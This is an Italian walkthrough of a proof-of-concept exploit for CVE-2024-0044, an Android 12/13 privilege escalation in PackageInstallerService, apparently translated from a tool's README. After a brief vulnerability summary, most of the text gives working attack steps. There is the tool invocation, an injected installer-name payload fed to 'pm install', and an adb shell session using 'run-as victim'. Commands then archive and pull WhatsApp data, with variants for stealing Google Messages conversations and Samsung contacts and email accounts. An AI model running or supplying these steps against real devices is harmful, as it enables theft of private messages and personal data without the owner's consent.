
CVE-2024-0044: una vulnerabilità ad alta gravità "run-as qualsiasi app" che interessa le versioni 12 e 13 di Android
CVE-2024-0044, individuata nella funzione createSessionInternal del file PackageInstallerService.java, è una vulnerabilità ad alta severità che interessa Android versioni 12 e 13. Questa vulnerabilità consente a un attaccante di eseguire un attacco "run-as any app", portando a un'escalation locale dei privilegi senza richiedere l'interazione dell'utente. Il problema deriva da una non corretta convalida dell'input all'interno della funzione createSessionInternal. Un attaccante può sfruttare questo manipolando il processo di creazione della sessione, ottenendo potenzialmente accesso non autorizzato a dati sensibili ed eseguendo azioni non autorizzate sul dispositivo interessato.
L'exploit è stato scoperto da Meta security
La proof of concept è stata riassunta e condivisa da Tiny hack
I dettagli sulla patch di sicurezza sono disponibili nel Android security bulletin
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P viene usato per specificare il nome del pacchetto di destinazione di cui vuoi eseguire il run-as.
-A per specificare il file apk da inviare (push) sul dispositivo.
Esegui lo strumento
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Verrà generato un file payload.txt simile a questo:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success dopo l'ultimo comandopl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crea una directory temporanea: mkdir /data/local/tmp/wa/
Crea un file segnaposto per un file tar: touch /data/local/tmp/wa/wa.tar
Imposta permessi di accesso completo: chmod -R 0777 /data/local/tmp/wa/ per assicurare che qualsiasi utente possa leggere, scrivere ed eseguire all'interno di questa directory.
Cambia il contesto utente: run-as victim per ottenere gli stessi permessi dell'utente "victim".
Archivia i dati dell'applicazione target: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creando un archivio tar della directory dei dati di WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Puoi estrarre i dati usando 7z o qualsiasi altro strumento
Puoi usare Whatsapp chat exporter per convertirli in HTML
Questo ti permette di ottenere i dati di WhatsApp senza accesso root sul tuo dispositivo
Basta cambiare il nome del pacchetto come segue
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Segui le istruzioni sopra e, dopo aver recuperato il file wa.tar, estrailo e apri le conversazioni in com.google.android.apps.messaging/databases/bugle_db usando sqlitebrowser o qualsiasi altro strumento
Testato per dispositivi Samsung. Per altri dispositivi controlla il nome del pacchetto per il provider dei contatti.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Segui le istruzioni sopra e, dopo aver recuperato il file wa.tar, estrailo e apri i contatti in com.samsung.android.providers.contacts/databases/contacts2.db usando sqlitebrowser o qualsiasi altro strumento. Il file db contiene tutte le informazioni sugli account email dell'utente insieme all'elenco dei contatti.